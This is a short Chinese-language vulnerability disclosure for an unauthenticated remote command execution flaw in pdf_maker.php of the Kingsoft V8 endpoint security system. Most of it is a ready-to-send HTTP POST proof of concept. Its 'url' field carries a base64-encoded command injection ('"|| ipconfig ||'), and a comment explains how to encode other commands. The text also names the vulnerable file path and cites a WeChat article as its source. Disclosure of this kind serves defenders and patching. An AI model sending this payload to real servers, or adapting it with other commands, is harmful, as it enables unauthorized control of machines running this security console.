金山 V8 终端安全系统 pdf_maker.php 未授权 RCE

金山 V8 终端安全系统 pdf_maker.php 存在命令执行漏洞，由于没有过滤危险字符，导致构造特殊字符即可进行命令拼接执行任意命令.

漏洞文件：Kingsoft\Security Manager\SystemCenter\Console\inter\pdf_maker.php

PoC：

POST /inter/pdf_maker.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04

url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx

//"|| ipconfig || 进行base64编码传入即可。

via：https://mp.weixin.qq.com/s/zaNvtagdCTx9XtGeotWoYw